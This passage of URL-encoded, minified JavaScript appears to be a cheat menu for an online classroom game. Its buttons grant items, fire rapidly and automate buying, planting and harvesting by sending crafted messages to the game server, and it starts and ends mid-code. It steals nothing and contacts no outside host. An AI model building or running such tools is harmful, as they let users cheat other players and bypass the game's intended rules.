Cge(c%2Ce)%7D%7D%7Dfunction%20no(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Tag%22%2C%24%24slots%3A%7Bdefault%3A%5Bto%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dclass%20ro%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cnull%2Cno%2Ci%2C%7B%7D)%7D%7Dfunction%20oo(t)%7Blet%20n%2Cr%2Co%2Ci%3Breturn%20n%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Med%20Pack%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22medpack%22%7D%7D%7D%7D)%2Co%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Shield%20Can%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22shield-can%22%7D%7D%7D%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2CE(e%2Cr%2Ct)%2Cpe(o%2Ce%2Ct)%2Ci%3D!0%7D%2Cp%3Ae%2Ci(e)%7Bi%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Ci%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Ci%3D!1%7D%2Cd(e)%7Be%26%26_(r)%2Cge(n%2Ce)%2Cge(o%2Ce)%7D%7D%7Dfunction%20io(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22One%20Way%20Out%22%2C%24%24slots%3A%7Bdefault%3A%5Boo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dclass%20so%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cnull%2Cio%2Ci%2C%7B%7D)%7D%7Dfunction%20ao(e)%7Blet%20t%2Cn%2Cr%3Bfunction%20o(t)%7Be%5B4%5D(t)%7Dlet%20i%3D%7BonText%3Ae%5B0%5D%2B%22%3A%20On%22%2CoffText%3Ae%5B0%5D%2B%22%3A%20Off%22%2ChotkeyId%3Ae%5B1%5D%7D%3Breturn%20void%200!%3D%3De%5B2%5D%26%26(i.enabled%3De%5B2%5D)%2Ct%3Dnew%20hn(%7Bprops%3Ai%7D)%2CG.push((()%3D%3Ede(t%2C%22enabled%22%2Co)))%2Ct.%24on(%22click%22%2Ce%5B3%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cn)%7Bpe(t%2Ce%2Cn)%2Cr%3D!0%7D%2Cp(e%2C%5Br%5D)%7Bconst%20o%3D%7B%7D%3B1%26r%26%26(o.onText%3De%5B0%5D%2B%22%3A%20On%22)%2C1%26r%26%26(o.offText%3De%5B0%5D%2B%22%3A%20Off%22)%2C2%26r%26%26(o.hotkeyId%3De%5B1%5D)%2C!n%26%264%26r%26%26(n%3D!0%2Co.enabled%3De%5B2%5D%2Cee((()%3D%3En%3D!1)))%2Ct.%24set(o)%7D%2Ci(e)%7Br%7C%7C(le(t.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20co(e%2Ct%2Cn)%7Blet%20r%2Co%3D!1%2C%7Bmessage%3Ai%7D%3Dt%2C%7BhotkeyId%3As%7D%3Dt%3Breturn%20e.%24%24set%3De%3D%3E%7B%22message%22in%20e%26%26n(0%2Ci%3De.message)%2C%22hotkeyId%22in%20e%26%26n(1%2Cs%3De.hotkeyId)%7D%2C%5Bi%2Cs%2Co%2Cfunction()%7Bo%3Fr%3DsetInterval((()%3D%3E%7Blet%20e%3DHe().stores.phaser.scene.input.mousePointer%2Ct%3DHe().stores.phaser.mainCharacter.body%3Bif(!e%7C%7C!t%7C%7C!e.isDown)return%3Blet%20n%3Dnew(0%2CHe().Phaser.Math.Vector2)(e.worldX-t.x%2Ce.worldY-(t.y-3)).normalize()%2Cr%3DHe().Phaser.Math.Angle.Between(0%2C0%2Cn.x%2Cn.y)%3Bat.sendMessage(%22FIRE%22%2C%7Bangle%3Ar%2Cx%3At.x%2Cy%3At.y%7D)%7D)%2C50)%3AclearInterval(r)%7D%2Cfunction(e)%7Bo%3De%2Cn(2%2Co)%7D%5D%7Dclass%20lo%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cco%2Cao%2Ci%2C%7Bmessage%3A0%2ChotkeyId%3A1%7D)%7D%7Dfunction%20uo(t)%7Blet%20n%2Cr%2Co%2Ci%2Cs%2Ca%3Breturn%20n%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Med%20Pack%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22medpack%22%7D%7D%7D%7D)%2Co%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Shield%20Can%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22shield-can%22%7D%7D%7D%7D)%2Cs%3Dnew%20lo(%7Bprops%3A%7Bmessage%3A%22Rapid%20fire%22%2ChotkeyId%3A%22snowbrawlRapidFire%22%7D%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%2Ci%3DT()%2Che(s.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2CE(e%2Cr%2Ct)%2Cpe(o%2Ce%2Ct)%2CE(e%2Ci%2Ct)%2Cpe(s%2Ce%2Ct)%2Ca%3D!0%7D%2Cp%3Ae%2Ci(e)%7Ba%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cle(s.%24%24.fragment%2Ce)%2Ca%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cue(s.%24%24.fragment%2Ce)%2Ca%3D!1%7D%2Cd(e)%7Be%26%26(_(r)%2C_(i))%2Cge(n%2Ce)%2Cge(o%2Ce)%2Cge(s%2Ce)%7D%7D%7Dfunction%20fo(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22Snowbrawl%22%2C%24%24slots%3A%7Bdefault%3A%5Buo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dclass%20ho%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cnull%2Cfo%2Ci%2C%7B%7D)%7D%7Dfunction%20po(e)%7Blet%20t%2Cn%2Cr%3Bfunction%20o(t)%7Be%5B2%5D(t)%7Dlet%20i%3D%7BoffText%3A%22Enable%20Auto%20Buy%22%2ConText%3A%22Disable%20Auto%20Buy%22%2ChotkeyId%3A%22floorIsLavaAutoBuy%22%7D%3Breturn%20void%200!%3D%3De%5B0%5D%26%26(i.enabled%3De%5B0%5D)%2Ct%3Dnew%20hn(%7Bprops%3Ai%7D)%2CG.push((()%3D%3Ede(t%2C%22enabled%22%2Co)))%2Ct.%24on(%22click%22%2Ce%5B1%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cn)%7Bpe(t%2Ce%2Cn)%2Cr%3D!0%7D%2Cp(e%2C%5Br%5D)%7Bconst%20o%3D%7B%7D%3B!n%26%261%26r%26%26(n%3D!0%2Co.enabled%3De%5B0%5D%2Cee((()%3D%3En%3D!1)))%2Ct.%24set(o)%7D%2Ci(e)%7Br%7C%7C(le(t.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20go(e%2Ct%2Cn)%7Bconst%20r%3D%5B%5B%22spaceElevator%22%2C5e7%5D%2C%5B%22mountain%22%2C5e6%5D%2C%5B%22skyscaper%22%2C5e5%5D%2C%5B%22shoppingMall%22%2C5e4%5D%2C%5B%22house%22%2C5e3%5D%2C%5B%22wall%22%2C500%5D%2C%5B%22brick%22%2C50%5D%2C%5B%22plank%22%2C5%5D%5D%3Blet%20o%3Dnull%2Ci%3D!1%2Cs%3D!1%3Bfunction%20a()%7Bif(!s%26%26i)%7Bs%3D!0%2CsetTimeout((()%3D%3E%7Bs%3D!1%2Ca()%7D)%2C150)%3Bfor(let%20t%20of%20r)if(o%3E%3Dt%5B1%5D)%7Be%3Dt%5B0%5D%2Cat.sendMessage(%22LAVA_PURCHASE_PIECE%22%2C%7Btype%3Ae%7D)%3Bbreak%7Dvar%20e%7D%7Dreturn%20at.addEventListener(%22blueboatMessage%22%2C(e%3D%3E%7B%22BALANCE%22%3D%3De.detail.data%3F.type%26%26(o%3De.detail.data.value%2Ci%26%26a())%7D))%2C%5Bi%2Cfunction(e)%7Bn(0%2Ci%3De.detail)%2Ca()%7D%2Cfunction(e)%7Bi%3De%2Cn(0%2Ci)%7D%5D%7Dclass%20mo%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cgo%2Cpo%2Ci%2C%7B%7D)%7D%7Dfunction%20%24o(e)%7Blet%20t%2Cn%2Cr%3Bfunction%20o(t)%7Be%5B1%5D(t)%7Dlet%20i%3D%7BoffText%3A%22Hide%20Purchase%20Popups%22%2ConText%3A%22Show%20Purchase%20Popups%22%2ChotkeyId%3A%22floorIsLavaHidePopups%22%7D%3Breturn%20void%200!%3D%3De%5B0%5D%26%26(i.enabled%3De%5B0%5D)%2Ct%3Dnew%20hn(%7Bprops%3Ai%7D)%2CG.push((()%3D%3Ede(t%2C%22enabled%22%2Co)))%2Ct.%24on(%22click%22%2Cyo)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cn)%7Bpe(t%2Ce%2Cn)%2Cr%3D!0%7D%2Cp(e%2C%5Br%5D)%7Bconst%20o%3D%7B%7D%3B!n%26%261%26r%26%26(n%3D!0%2Co.enabled%3De%5B0%5D%2Cee((()%3D%3En%3D!1)))%2Ct.%24set(o)%7D%2Ci(e)%7Br%7C%7C(le(t.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20yo(e)%7Be.detail%26%26document.querySelectorAll(%22.Toastify__toast%22).forEach((e%3D%3E%7Be.style.display%3D%22none%22%2Ce.querySelector(%22.Toastify__close-button%22)%3F.click()%7D))%7Dfunction%20vo(e%2Ct%2Cn)%7Blet%20r%3D!1%2Co%3Dnew%20MutationObserver((e%3D%3E%7Bif(r)for(let%20t%20of%20e)for(let%20e%20of%20t.addedNodes)e%20instanceof%20HTMLElement%26%26e.matches(%22.Toastify__toast%22)%26%26(e.style.display%3D%22none%22%2Ce.querySelector(%22.Toastify__close-button%22)%3F.click())%7D))%3Bconst%20i%3D()%3D%3E%7Bo.observe(document.body%2C%7BchildList%3A!0%2Csubtree%3A!0%7D)%7D%3Breturn%20document.body%3Fi()%3Awindow.addEventListener(%22DOMContentLoaded%22%2Ci)%2C%5Br%2Cfunction(e)%7Br%3De%2Cn(0%2Cr)%7D%5D%7Dclass%20bo%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cvo%2C%24o%2Ci%2C%7B%7D)%7D%7Dfunction%20wo(e)%7Blet%20t%2Cn%2Cr%2Co%3Breturn%20t%3Dnew%20mo(%7B%7D)%2Cr%3Dnew%20bo(%7B%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%2Cn%3DT()%2Che(r.%24%24.fragment)%7D%2Cm(e%2Ci)%7Bpe(t%2Ce%2Ci)%2CE(e%2Cn%2Ci)%2Cpe(r%2Ce%2Ci)%2Co%3D!0%7D%2Ci(e)%7Bo%7C%7C(le(t.%24%24.fragment%2Ce)%2Cle(r.%24%24.fragment%2Ce)%2Co%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cue(r.%24%24.fragment%2Ce)%2Co%3D!1%7D%2Cd(e)%7Be%26%26_(n)%2Cge(t%2Ce)%2Cge(r%2Ce)%7D%7D%7Dfunction%20xo(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20Xt(%7Bprops%3A%7Bname%3A%22The%20Floor%20is%20Lava%22%2C%24%24slots%3A%7Bdefault%3A%5Bwo%5D%7D%2C%24%24scope%3A%7Bctx%3Ae%7D%7D%7D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.%24%24scope%3D%7Bdirty%3An%2Cctx%3Ae%7D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dclass%20Eo%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cnull%2Cxo%2Ci%2C%7B%7D)%7D%7Dfunction%20_o(e)%7Blet%20t%2Cn%3Breturn%20t%3Dnew%20hn(%7Bprops%3A%7BoffText%3A%22Start%20Auto%20Planting%22%2ConText%3A%22Stop%20Auto%20Planting%22%2Cdisabled%3A!e%5B0%5D%2CdisabledMsg%3A%22Farm%20plots%20not%20loaded%22%2ChotkeyId%3A%22farmchainAutoPlant%22%7D%7D)%2Ct.%24on(%22click%22%2Ce%5B1%5D)%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cr)%7Bpe(t%2Ce%2Cr)%2Cn%3D!0%7D%2Cp(e%2C%5Bn%5D)%7Bconst%20r%3D%7B%7D%3B1%26n%26%26(r.disabled%3D!e%5B0%5D)%2Ct.%24set(r)%7D%2Ci(e)%7Bn%7C%7C(le(t.%24%24.fragment%2Ce)%2Cn%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cn%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20Ao(e%2Ct%2Cn)%7Blet%20r%3Bc(e%2Cft%2C(e%3D%3En(0%2Cr%3De)))%3Bconst%20o%3D%5B%22yellow-seed%22%2C%22tan-seed%22%2C%22brown-seed%22%2C%22purple-seed%22%2C%22magenta-seed%22%2C%22green-seed%22%2C%22bronze-seed%22%2C%22orange-seed%22%2C%22gold-seed%22%2C%22dark-green-seed%22%2C%22red-seed%22%2C%22blue-seed%22%2C%22teal-seed%22%5D%3Blet%20i%3Breturn%5Br%2Cfunction(e)%7Bif(e.detail)%7Blet%20e%3DHe()%3F.stores%3F.phaser%3F.scene%3F.worldManager%3F.devices%3F.allDevices%2Ct%3De.filter((e%3D%3E%22plant%22%3D%3De.options.style))%2Cn%3D%7B%7D%3Bfor(let%20t%20of%20e)o.includes(t.options%3F.ingredient1Item)%26%26(n%5Bt.options%3F.ingredient1Item%5D%3Dt)%3Bi%3DsetInterval((()%3D%3E%7Blet%20e%2Cr%3DHe()%3F.stores%3F.me%3F.inventory%3F.slots%3Bif(!r)return%3Bfor(let%20t%20of%20o)%7Blet%20o%3Dn%5Bt%5D%2Ci%3D!0%3Bfor(let%20e%3D0%3Be%3C5%3Be%2B%2B)%7Blet%20t%3Do%3F.options%3F.%5B%60ingredient%24%7Be%7DItem%60%5D%3Bif(t%26%26!r.get(t)%3F.amount%3E%3Do.options%5B%60ingredient%24%7Be%7DAmount%60%5D)%7Bi%3D!1%3Bbreak%7D%7Dif(i)%7Be%3Dt%3Bbreak%7D%7Dif(!e)return%3Blet%20i%3Dt.findLast((e%3D%3E%22idle%22%3D%3De.state.status))%3Bat.sendMessage(%22MESSAGE_FOR_DEVICE%22%2C%7Bkey%3A%22craft%22%2CdeviceId%3Ai.id%2Cdata%3A%7Brecipe%3An%5Be%5D.id%7D%7D)%7D)%2C100)%7Delse%20clearInterval(i)%7D%5D%7Dclass%20Oo%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2CAo%2C_o%2Ci%2C%7B%7D)%7D%7Dfunction%20Io(e)%7Blet%20t%2Cn%2Cr%3Bfunction%20o(t)%7Be%5B1%5D(t)%7Dlet%20i%3D%7BhotkeyId%3A%22farmchainAutoHarvest%22%2CoffText%3A%22Start%20Auto%20Harvesting%22%2ConText%3A%22Stop%20Auto%20Harvesting%22%7D%3Breturn%20void%200!%3D%3De%5B0%5D%26%26(i.enabled%3De%5B0%5D)%2Ct%3Dnew%20hn(%7Bprops%3Ai%7D)%2CG.push((()%3D%3Ede(t%2C%22enabled%22%2Co)))%2C%7Bc()%7Bhe(t.%24%24.fragment)%7D%2Cm(e%2Cn)%7Bpe(t%2Ce%2Cn)%2Cr%3D!0%7D%2Cp(e%2C%5Br%5D)%7Bconst%20o%3D%7B%7D%3B!n%26%261%26r%26%26(n%3D!0%2Co.enabled%3De%5B0%5D%2Cee((()%3D%3En%3D!1)))%2Ct.%24set(o)%7D%2Ci(e)%7Br%7C%7C(le(t.%24%24.fragment%2Ce)%2Cr%3D!0)%7D%2Co(e)%7Bue(t.%24%24.fragment%2Ce)%2Cr%3D!1%7D%2Cd(e)%7Bge(t%2Ce)%7D%7D%7Dfunction%20ko(e%2Ct%2Cn)%7Blet%20r%3D!1%3Breturn%20at.addEventListener(%22deviceChanges%22%2C(e%3D%3E%7Bif(!r)return%3Blet%20t%3De.detail%3Bfor(let%20e%20of%20t)for(let%20t%20in%20e.data)%7Bif(!t.endsWith(%22status%22)%7C%7C%22availableForCollection%22!%3De.data%5Bt%5D)continue%3Blet%20n%3D%7Bkey%3A%22collect%22%2CdeviceId%3Ae.id%7D%3Bat.sendMessage(%22MESSAGE_FOR_DEVICE%22%2Cn)%7D%7D))%2C%5Br%2Cfunction(e)%7Br%3De%2Cn(0%2Cr)%7D%5D%7Dclass%20To%20extends%20ye%7Bconstructor(e)%7Bsuper()%2C%24e(this%2Ce%2Cko%2CIo%2Ci%2C%7B%7D)%7D%7Dfunction%20Co(t)%7Blet%20n%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Ch%2Cp%2Cg%2Cm%2C%24%2Cy%2Cv%2Cb%2Cw%2Cx%2CA%2CO%2CI%2Ck%2CC%3Breturn%20n%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Corn%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22yellow-seed%22%7D%7D%7D%7D)%2Co%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Wheat%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22tan-seed%22%7D%7D%7D%7D)%2Cs%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Potato%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22brown-seed%22%7D%7D%7D%7D)%2Cc%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Grape%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22purple-seed%22%7D%7D%7D%7D)%2Cu%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Raspberry%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22magenta-seed%22%7D%7D%7D%7D)%2Cd%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Watermelon%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22green-seed%22%7D%7D%7D%7D)%2Cp%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Coffee%20Bean%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22bronze-seed%22%7D%7D%7D%7D)%2Cm%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Orange%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22orange-seed%22%7D%7D%7D%7D)%2Cy%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Gimberry%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22gold-seed%22%7D%7D%7D%7D)%2Cb%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Cash%20Berry%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22dark-green-seed%22%7D%7D%7D%7D)%2Cx%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Pepper%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22red-seed%22%7D%7D%7D%7D)%2CO%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Energy%20Bar%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22blue-seed%22%7D%7D%7D%7D)%2Ck%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Lottery%20Ticket%20Seed%22%2Creusable%3A!0%2Cselector%3A%7Boptions%3A%7BgrantedItemId%3A%22teal-seed%22%7D%7D%7D%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%2Ci%3DT()%2Che(s.%24%24.fragment)%2Ca%3DT()%2Che(c.%24%24.fragment)%2Cl%3DT()%2Che(u.%24%24.fragment)%2Cf%3DT()%2Che(d.%24%24.fragment)%2Ch%3DT()%2Che(p.%24%24.fragment)%2Cg%3DT()%2Che(m.%24%24.fragment)%2C%24%3DT()%2Che(y.%24%24.fragment)%2Cv%3DT()%2Che(b.%24%24.fragment)%2Cw%3DT()%2Che(x.%24%24.fragment)%2CA%3DT()%2Che(O.%24%24.fragment)%2CI%3DT()%2Che(k.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2CE(e%2Cr%2Ct)%2Cpe(o%2Ce%2Ct)%2CE(e%2Ci%2Ct)%2Cpe(s%2Ce%2Ct)%2CE(e%2Ca%2Ct)%2Cpe(c%2Ce%2Ct)%2CE(e%2Cl%2Ct)%2Cpe(u%2Ce%2Ct)%2CE(e%2Cf%2Ct)%2Cpe(d%2Ce%2Ct)%2CE(e%2Ch%2Ct)%2Cpe(p%2Ce%2Ct)%2CE(e%2Cg%2Ct)%2Cpe(m%2Ce%2Ct)%2CE(e%2C%24%2Ct)%2Cpe(y%2Ce%2Ct)%2CE(e%2Cv%2Ct)%2Cpe(b%2Ce%2Ct)%2CE(e%2Cw%2Ct)%2Cpe(x%2Ce%2Ct)%2CE(e%2CA%2Ct)%2Cpe(O%2Ce%2Ct)%2CE(e%2CI%2Ct)%2Cpe(k%2Ce%2Ct)%2CC%3D!0%7D%2Cp%3Ae%2Ci(e)%7BC%7C%7C(le(n.%24%24.fragment%2Ce)%2Cle(o.%24%24.fragment%2Ce)%2Cle(s.%24%24.fragment%2Ce)%2Cle(c.%24%24.fragment%2Ce)%2Cle(u.%24%24.fragment%2Ce)%2Cle(d.%24%24.fragment%2Ce)%2Cle(p.%24%24.fragment%2Ce)%2Cle(m.%24%24.fragment%2Ce)%2Cle(y.%24%24.fragment%2Ce)%2Cle(b.%24%24.fragment%2Ce)%2Cle(x.%24%24.fragment%2Ce)%2Cle(O.%24%24.fragment%2Ce)%2Cle(k.%24%24.fragment%2Ce)%2CC%3D!0)%7D%2Co(e)%7Bue(n.%24%24.fragment%2Ce)%2Cue(o.%24%24.fragment%2Ce)%2Cue(s.%24%24.fragment%2Ce)%2Cue(c.%24%24.fragment%2Ce)%2Cue(u.%24%24.fragment%2Ce)%2Cue(d.%24%24.fragment%2Ce)%2Cue(p.%24%24.fragment%2Ce)%2Cue(m.%24%24.fragment%2Ce)%2Cue(y.%24%24.fragment%2Ce)%2Cue(b.%24%24.fragment%2Ce)%2Cue(x.%24%24.fragment%2Ce)%2Cue(O.%24%24.fragment%2Ce)%2Cue(k.%24%24.fragment%2Ce)%2CC%3D!1%7D%2Cd(e)%7Be%26%26(_(r)%2C_(i)%2C_(a)%2C_(l)%2C_(f)%2C_(h)%2C_(g)%2C_(%24)%2C_(v)%2C_(w)%2C_(A)%2C_(I))%2Cge(n%2Ce)%2Cge(o%2Ce)%2Cge(s%2Ce)%2Cge(c%2Ce)%2Cge(u%2Ce)%2Cge(d%2Ce)%2Cge(p%2Ce)%2Cge(m%2Ce)%2Cge(y%2Ce)%2Cge(b%2Ce)%2Cge(x%2Ce)%2Cge(O%2Ce)%2Cge(k%2Ce)%7D%7D%7Dfunction%20Ro(t)%7Blet%20n%2Cr%2Co%2Ci%2Cs%2Ca%2Cc%2Cl%2Cu%2Cf%2Cd%2Ch%2Cp%2Cg%2Cm%2C%24%3Breturn%20n%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Unlock%20Wheat%20Seed%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Wheat%20Seed%20Unlock%22%7D%7D%7D%7D)%2Co%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Unlock%20Potato%20Seed%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Potato%20Seed%20Unlock%22%7D%7D%7D%7D)%2Cs%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Unlock%20Grape%20Seed%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Grape%20Seed%20Unlock%22%7D%7D%7D%7D)%2Cc%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Unlock%20Raspberry%20Seed%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Raspberry%20Seed%20Unlock%22%7D%7D%7D%7D)%2Cu%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Unlock%20Watermelon%20Seed%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Watermelon%20Seed%20Unlock%22%7D%7D%7D%7D)%2Cd%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Unlock%20Coffee%20Bean%20Seed%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Coffee%20Bean%20Seed%20Unlock%22%7D%7D%7D%7D)%2Cp%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Unlock%20Orange%20Seed%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Orange%20Seed%20Unlock%22%7D%7D%7D%7D)%2Cm%3Dnew%20Qr(%7Bprops%3A%7BdisplayText%3A%22Unlock%20Gimberry%20Seed%22%2Cselector%3A%7Boptions%3A%7BgrantedItemName%3A%22Gimberry%20Seed%20Unlock%22%7D%7D%7D%7D)%2C%7Bc()%7Bhe(n.%24%24.fragment)%2Cr%3DT()%2Che(o.%24%24.fragment)%2Ci%3DT()%2Che(s.%24%24.fragment)%2Ca%3DT()%2Che(c.%24%24.fragment)%2Cl%3DT()%2Che(u.%24%24.fragment)%2Cf%3DT()%2Che(d.%24%24.fragment)%2Ch%3DT()%2Che(p.%24%24.fragment)%2Cg%3DT()%2Che(m.%24%24.fragment)%7D%2Cm(e%2Ct)%7Bpe(n%2Ce%2Ct)%2CE(e%2Cr%2Ct)%2Cpe(o%2Ce%2Ct)%2CE(e%2Ci%2Ct)%2Cpe(s%2Ce%2Ct)%2CE(e%2Ca%2Ct)%2Cpe(c%2Ce%2Ct)%2CE(e%2Cl%2Ct